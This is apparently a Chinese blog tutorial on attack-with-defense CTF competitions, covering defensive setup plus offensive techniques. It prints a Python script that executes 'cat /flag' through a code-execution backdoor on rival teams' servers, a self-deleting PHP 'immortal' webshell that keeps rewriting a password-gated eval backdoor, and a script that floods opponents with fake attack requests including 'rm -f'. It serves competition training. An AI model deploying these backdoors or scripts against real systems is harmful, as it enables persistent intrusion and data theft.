Web AWD流程与技巧

AWD平台搭建: http://icepeak.icu/2021/10/16/awd-jian-dan-jie-shao-he-da-jian-awd-ping-tai/

前期准备

文件备份

这里是本地搭的环境,先将三个队伍连接上去

可以看到,一般主办方给的都是一个普通权限
查看网站目录

现在需要做的事就是要将这些文件进行备份,防止误操作删除或者被别人攻击后删除了文件做准备

代码审计

将网站目录下载到本地,进行木马扫描

这里我使用的河马查杀,可以看到,这里有很多木马,可以随便打开一个木马文件查看其内容

可以看到,非常经典的一句话木马,这些木马一般是主办方提前留下的,所以这些文件一定要删除
使用工具进行代码审计


可以看到在footer.php里面存在非常经典的代码执行,我们也需要将他进行注释或者删除,像这些主办方提前留下的漏洞,因为所有队伍的环境都是一样的,所以一开始一定要将这些文件进行删除,也可以利用这些漏洞去攻打其他队伍进行得分,当然,这些都是利用工具进行的简单审计,还需要配合人工进行审计,确保不会失分

弱密码更改

这里就不用说了,像数据库登入密码什么密码的都应该使用强密码

部署WAF

一般AWD比赛都是不允许使用大型公司的WAF产品的,只能通过自己编写代码去部署
首先将自己编写的WAF上传到网站目录下面

然后去数据库配置文件包含该WAF文件即可,因为一般网站的所有页面都是要去连接数据库的

部署文件检测设备

AWD比赛中,可能有人会问,如果把自己网站目录文件直接删除了,那别人不就攻不进来了,答案肯定是错的,check服务器每隔几分钟都会检测各个队伍的文件,如果文件丢失,将会直接扣分,这也成了攻击队伍的一种方式,拿到对方队伍服务器权限后,直接将对方文件进行删除,导致对方队伍扣分
将文件检测设备上传到网站目录下面

模拟攻击队伍删除已方队伍网站文件

可以看到,删除的文件会自动复原
模拟攻击队伍向已方队伍上传恶意木马

可以看到,恶意木马文件也会被自动删除,所以WAF设备和文件检测设备一定要早点部署,越早越好

部署日志文件,分析攻击者行为

上面部署WAF和文件检测设备只能解决攻击者的文件操作问题,所以需要去部署日志文件去分析攻击者的行为,做出相应的解决方案
将生成日志文件上传到网站目录下

然后在网站文件下包含该文件

只要有攻击者访问该网站就会在tmp目录下生成对应日志文件,记录攻击者行为

这样做就可以分析到有后门或无后门的攻击行为数据包找到漏洞进行修复
分析到成功攻击的数据包进行自我利用,用来攻击其他队伍

模拟攻击者进行批量flag提交

前面说到AWD比赛主办方一帮都会提前留下一些后门或者漏洞,这里使用footer.php里面的代码执行漏洞进行批量flag提交

假如现在我是team1,攻击team2和team3进行得分
现在的实时分数

可以看到现在都是四分
批量提交flagpython代码

import requestsdef get_flag():data = {'shell':'cat /flag'}for i in range(8802,8804):url = 'http://192.168.109.128:'+str(i)+'/footer.php'result=requests.post(url,data=data).content.decode('utf-8')print(result)with open(r'flag.txt','a+') as f:f.write(result+'\n')f.close()def tijiao_flag():for flag in open('flag.txt'):flag=flag.replace('\n','')url='http://192.168.109.128:8080/flag_file.php?token=team1&flag='+flagrequests.get(url)if __name__ == '__main__':get_flag()tijiao_flag()

运行结果

查看运行后的实时分数变化

可以看到team1得了四分,team2和team3分别减了两分

不死马介绍及解决方案

在攻击利用后门获取flag时,不死后门的权限维持尤为重要,同样防守方也要掌握对其不死后门的查杀和利用,这样才能获取更高的分数,对比文件监控前后问题
不死马代码

<?php
ignore_user_abort(true);
set_time_limit(0);
unlink(__FILE__);
$file = 'x.php';
$code = '<?php if(md5($_GET["pass"])=="588b0909be46df2e992915a156a4e848"){@eval($_POST[a]);} ?>';
while (1){file_put_contents($file,$code);usleep(5000);
}
?>

现在模拟攻击者将不死马传到对方web服务器上

然后网页上访问该文件

访问后该文件会自动删除,并且在网站目录下就会生成x.php后门文件


防守人员发现后第一反应肯定是去删除他,但是会发现他删除了之后又会继续生成


可以看到跟之前生成时间不一样
不死马解决方案

1、ps auxww|grep shell.php找到pid后杀掉进程就可以,你删掉脚本是起不了作用的,因为php执行的时候已经把脚本读进去解释成opcode运行了
2、重启php等web服务
3、用一个ignore_user_abort(true)脚本,一直竞争写入(断断续续)。usleep要低于对方不死马设置的值
4、创建一个和不死马生成的马一样名字的文件夹

这里以第三种方法为例
fuck.php代码

<?php
ignore_user_abort(true);
set_time_limit(0);
unlink(__FILE__);
$file = 'x.php';
$code = 'fuck';
while (1){file_put_contents($file,$code);usleep(1000);
}
?>

这里usleep时间低于不死马时间即可
浏览器访问该文件

可以看到现在生成的文件就是个正常文件了

搅屎棍发包回首掏共权限

作为各种技术大家都要用的情况下,一个好的攻击漏洞和思路不被捕获和发现,一个好的套路浪费对手的时间,搅屎棍发包回首掏共权限利用思路可以尝试使用
搅屎棍就是向其他队伍发送大量假的数据包,导致对方查看日志时看不过来
python代码

import requests
import timedef scan_attack():file={'shell.php','x.php','index.php','web.php','1.php'}payload={'cat /flag','ls -al','rm -f','echo 1'}while(1):for i in range(8802, 8804):for ii in file:url='http://192.168.109.128:'+ str(i)+'/'+iifor iii in payload:data={'payload':iii}try:requests.post(url,data=data)print("正在搅屎:"+str(i)+'|'+ii+'|'+iii)time.sleep(0.5)except Exception as e:time.sleep(0.5)passif __name__ == '__main__':scan_attack()

运行结果

查看team2的日志文件

可以看到里面都是一些垃圾数据,如果在里面有几条真的攻击数据,可能防守人员也反应不过来

漏洞资源-漏洞资料库及脚本工具库

比赛准备:如何收集并整理好漏洞,文档资料,脚本工具等
漏洞库:exploitdb,github监控最新信息,平常自己收集整理
文档资料:零组类似文档离线版爬虫,各类资料,平常自己收集整理
脚本工具:忍者系统配合自己常用工具,github监控awd脚本,收集整理

推荐网站
https://github.com/offensive-security/exploitdb
https://www.exploit-db.com/
涉及资源下载地址
链接:https://pan.baidu.com/s/1un3TcLgTQl9pZaYrZelkBw
提取码:asdf

Web AWD流程与技巧相关推荐

  1. Git使用流程及技巧 - 详细教程

    Git使用流程及技巧 - 详细教程 前言 1. 技巧 1.1. 基础技巧 1.2. 提升SSH传输速度 1.3. 解决Git Bash命令行的中文乱码问题 1.3.1. 情况1:内部资源乱码 1.3. ...

  2. AWD流程总结-纸上谈兵向

    AWD流程 0X01 比赛开始前 登陆平台,查看规则,探索flag提交和获取方式 读根目录 curl flag机 import requests import redata = {'passwd':& ...

  3. python流程控制-实战案例手把手教你Python流程控制技巧

    原标题:实战案例手把手教你Python流程控制技巧 作者:PianoOrRock 来源: http://blog.csdn.net/pianoorrock/article/details/711315 ...

  4. 极客技术专题【009期】:web技术开发小技巧

    为什么80%的码农都做不了架构师?>>>    日期:2013-8-26  来源:GBin1.com 技术专题:Seajs介绍 (分享人:choaklin) 专题演讲稿:SeaJS的 ...

  5. 高职单招面试流程及技巧有哪些

    高职院校单独招生(简称高职单招)是为贯彻落实<国务院关于大力发展职业教育的决定>精神,全面推进素质职业教育,建立健全现代职业教育体系,"高职单招"是高中毕业生通过高等职 ...

  6. 《Photoshop修色圣典——PPW专业照片修正流程与技巧》—第1章PPW流程

    本节书摘来自异步社区<Photoshop修色圣典--PPW专业照片修正流程与技巧>一书中的第1章PPW流程,作者[美]Dan Margulis,更多章节内容可以访问云栖社区"异步 ...

  7. web请求流程与HTTP方法刨析

    web请求流程与HTTP方法刨析 1.HTTP HTTP超文本传输协议,是访问万维网使用的核心通信协议,也是今天所有web应用程序使用的通信协议. HTTP使用一种用于消息的模型:客户端发送一条请求信 ...

  8. 接口测试、APP和web测试流程(面试简化)

    web测试流程,确保后台接口已测试完毕 一.需求分析,了解具体需求 二.测试准备:原型图.效果图.需求文件.测试用用例.用例评审.各种测试数据准备 三.测试环节:接受版本开始执行     1)冒烟测试 ...

  9. jmeter(二):简单web测试流程

    上一节安装jmeter成功后,也打开jmeter的界面操作模式看过,现在想进行具体的web测试 流程概述: 简单web测试流程为:添加线程组->添加HTTP请求->添加监听器->添加 ...

最新文章

  1. 逻辑回归和线性回归的区别_机器学习简介之基础理论- 线性回归、逻辑回归、神经网络...
  2. php如何使用高阶函数
  3. python有哪些常用的package_个人Python常用Package及其安装
  4. 如何去掉html body里的 nbsp,html的空格和nbsp怎么去除?
  5. (83)FPGA仿真完成激励(finish)
  6. 解封装(九):av_read_frame和av_seek_frame代码示例分析内存占用和清理情况
  7. Sql语句查询当天本周本月记录的where条件
  8. bzoj 3406: [Usaco2009 Oct]Invasion of the Milkweed 乳草的入侵
  9. QuantLib 金融计算——QauntLib 入门
  10. 车轮轨迹原理_倒车轮子原理是什么 倒车原理动画演示很有用
  11. HenCoder文章汇总
  12. 连锁门店数字化营销,打造千城万店新零售体系
  13. 深度学习--十折交叉验证
  14. 【前端就业课 第一阶段】HTML5 零基础到实战(二)超链接
  15. 省钱版----查找 IoT 设备TTL线序__未完待续
  16. 使用HVScrollListView 超简单的实现类似股票列表的滑动
  17. InDesign CS3 复合字体
  18. uni-app嵌入其他页面(阿里邮箱为例)
  19. .class .class 和 .class.class 和 .class>.class 比较
  20. 静态、动态、伪静态的URL结构到底哪种更利于SEO

热门文章

  1. Java截取视频生成Gif动图
  2. JAXWS CXF JAXB + MyEclipse + Maven Byron自學視頻04
  3. 聚焦东风汽车,解锁企业上云的正确姿势
  4. mysql 修改字段值语句_mysql修改字段语句
  5. Vue.js使用Blob的方式实现excel表格的下载(流文件下载)
  6. 基于SIR的社交网络谣言传播问题简单建模
  7. python爬取豆瓣电影信息
  8. 科学探索奖名单揭晓:北大数学「黄金一代」袁新意上榜,首现90后获奖人
  9. 野人岛4四季神器java,生存战争野人岛mod
  10. 计算机信息管理发展的重要性,从历史情况看,计算机信息管理的发展过程是( )...